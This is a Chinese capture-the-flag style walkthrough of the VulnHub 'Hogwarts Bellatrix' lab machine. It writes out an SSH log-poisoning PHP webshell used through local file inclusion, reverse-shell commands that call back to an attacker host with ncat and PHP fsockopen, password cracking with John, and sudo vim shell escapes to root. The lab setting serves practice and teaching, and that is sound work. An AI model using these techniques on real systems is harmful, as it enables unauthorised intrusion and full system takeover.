vulnhub-Basilic
个人评价难度:中等偏下
涉及手法:
污染 SSH日志 Getshell
本地文件包含漏洞(LFI)利用
密码破解
vim提权
下载地址:https://www.vulnhub.com/entry/hogwarts-bellatrix,609/
IcMl0x824
靶机IP:192.168.31.212
信息收集
端口扫描-Kscan
/#| /#/
|#|/#/ _____ _____ * _ _
|#.#/ /Edge/ /Forum| /# |# |#
|##| |#|____ |#| /kv2 |##|#|
|#.# r0cky|#| /#/_# |#.#.#|
|#|# /___|#||#|____/#/####|#|##|
#| #\lcvvvv/ aels/#/ v1.85##| #/
[+]2022/12/19 14:32:11 当前环境为:windows, 输出编码为:utf-8
[+]2022/12/19 14:32:12 成功加载HTTP指纹:[24758]条
[+]2022/12/19 14:32:12 成功加载NMAP探针:[150]个,指纹[11916]条
[+]2022/12/19 14:32:13 Domain、IP、Port、URL、Hydra引擎已准备就绪
[+]2022/12/19 14:32:13 所有扫描任务已下发完毕
-
22:ssh 服务 Ubuntu-Linux SSH-2.0-OpenSSH_8.3p1
-
80:http服务 Apache httpd/2.4.46
目录扫描-Phoenix+Dirsearch
Phoenix:
██████╗ ██╗ ██╗ ██████╗ ███████╗███╗ ██╗██╗██╗ ██╗
██╔══██╗██║ ██║██╔═══██╗██╔════╝████╗ ██║██║╚██╗██╔╝
██████╔╝███████║██║ ██║█████╗ ██╔██╗ ██║██║ ╚███╔╝
██╔═══╝ ██╔══██║██║ ██║██╔══╝ ██║╚██╗██║██║ ██╔██╗
██║ ██║ ██║╚██████╔╝███████╗██║ ╚████║██║██╔╝ ██╗
╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚══════╝╚═╝ ╚═══╝╚═╝╚═╝ ╚═╝
Dirsearch:
⚡ root@kali ~ dirsearch -u http://192.168.31.212
_|. _ _ _ _ _ _|_ v0.4.2
(_||| _) (/_(_|| (_| )
[01:43:00] 200 - 2KB - /index.php
[01:43:01] 200 - 2KB - /index.php/login/
嘎了!
指纹识别-Inscan
-
192.168.31.212:80 指纹识别:apache[2.4.46]/http/http_server[2.4.46]/ubuntu/ubuntu_linux
-
192.168.31.212:22 指纹识别:linux_kernel/openssh[8.3p1]/ssh/ubuntu_linux
察言观色
访问HTTP服务,打开之后映入眼帘的是哈利波特里面的贝拉特里克斯
然后是满屏的“ikilledsiriusblack”
??????????????????????????????
没看过哈利波特,不是很了解
作为一个F12大黑客,先看下网页源码好了????
不…这次在源代码中没有任何线索……
哦,也许我已经告诉过你目录是。php?:)
根据这个幼稚动人而且毫无脑子的提示与LFI的类似代码,以及我们在是刷屏式的文字的右下方看到了一个.php。应该是ikilledsiriusblack.php这个页面存在本地文件包含漏洞(LFI),而且应该是通过file传递参数来包含文件的。
漏洞利用
本地文件包含漏洞
直接访问http://192.168.31.212/ikilledsiriusblack.php
可以看到还是这个页面,直接尝试去包含/etc/passwd文件验证漏洞是否存在
ikilledsiriusblack.php?file=/etc/passwd
污染 SSH日志Getshell
注意:
少年你是不是要止步于此了,细细一想SSH的作用,我们知道/var/log/auth.log这个是SSH的默认日志。
要知道这个auth.log文件是我们尝试连接服务器时为每次成功和失败的登录尝试生成日志。
那么我们就可以利用这个功能,发送恶意PHP代码将恶意代码作为新日志自动添加到auth.log文件中。
当我们在访问日志的时候就会去执行我们加的恶意代码。比如说是一段Webshell。
通过SSH以假用户身份发送恶意PHP代码,并将其作为新日志自动添加到auth.log文件中
举例:弄一个PHP info()进去
ssh '<?php phpinfo();?>'@192.168.31.212
利用LFI每次访问一下auth.log,他就会执行我们的命令一次。
?file=/var/log/auth.log
既然明白了,直接来写shell塞进去吧,别磨磨唧唧的
ssh '<?php system($_GET['shell']); ?>'@192.168.31.212
验证一句话木马是否成功写入
http://192.168.31.212/ikilledsiriusblack.php?file=/var/log/auth.log&shell=id
OK了家人们,开席!
还记得提示吗?他这个B提示里面是有ncat的,我们就不用构造语句了
nc -lvp 4444
利用 ncat 反弹 shell,
?file=/var/log/auth.log&shell=ncat -e /bin/bash 192.168.31.19 4444
python3 -c 'import pty;pty.spawn("/bin/bash")'
如果没有ncat,自己构造:
http://192.168.31.212/ikilledsiriusblack.php?file=/var/log/auth.log&shell=php -r '$sock=fsockopen("kali的IP",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
记得把shell后面的部分进行URL编码
权限提升
反弹回来的shell首先sudo命令肯定是不可能用
emmmm,老样子直接翻翻本地文件都有啥提示的
/var/www/html目录下有一个base64编码命名的文件夹,解码后是secret(秘密)?????
插进去看看水多不多~
两个文件打开看看
-
.secret.dic是一个字典
-
Swordofgryffindor文件内容为lestrange用户加密后的hash值
密码破解-John
把字典和Swordofgryffindor弄下来
用John破解密码(用.secret.dic去破解Swordofgryffindor)
john --wordlist=~/Desktop/pass.txt Swordofgryffindor
得到用户lestrange的密码ihateharrypotter
su命令切换用户,查看lestrange用户可以执行的sudo命令
这里(ALL:ALL) NOPASSWORD: /usr/bin/vim说明:
VIM可以免密用root权限使用vim命令
搜一下怎么用VIM提权
推荐命令记录网站:https://gtfobins.github.io/
SSH+VIM提权
用拿到的用户密码SSH登陆进行提权
如果sudo
允许二进制文件以超级用户的身份运行,它不会放弃提升的权限,并且可能被用于访问文件系统,提升或保持特权访问。
-
sudo vim -c ':!/bin/sh'
-
这要求
vim
编译时支持Python。在Python 3中追加:py3
sudo vim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
-
这要求
vim
编译时支持Luasudo vim -c ':lua os.execute("reset; exec sh")'
解释下第一个命令:vim中叹号会直接从编辑器中执行我们写的命令/bin/sh,从而获取root权限
到root目录下,拿下FLAG
____ _ _ _ _
| _ | | | | | (_)
| |_) | ___| | | __ _| |_ _ __ ___ __
| _ < / _ | |/ _` | __| '__| / /
| |_) | __/ | | (_| | |_| | | |> <
|____/ ___|_|_|__,_|__|_| |_/_/_
_ _
| | | |
| | ___ ___| |_ _ __ __ _ _ __ __ _ ___
| | / _ / __| __| '__/ _` | '_ / _` |/ _
| |___| __/__ |_| | | (_| | | | | (_| | __/
|_________||___/__|_| __,_|_| |_|__, |___|
__/ |
|___/
root{ead5a85a11ba466011fced308d460a76}
思考总结
感觉偏向于简单以及基础漏洞的理解,把脏数据插到SSH连接日志里进行getshell的确对于新手来说是难以理解的和联想的,不过多练练,既然SSH和HTTP都开放了,呢就必须有一定的联系。
原文始发于微信公众号(猫因的安全):烧杯人生系列-[每日一靶机]:Basilic(一个涉及到通过污染SSH日志来Getshell的烧杯机器)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论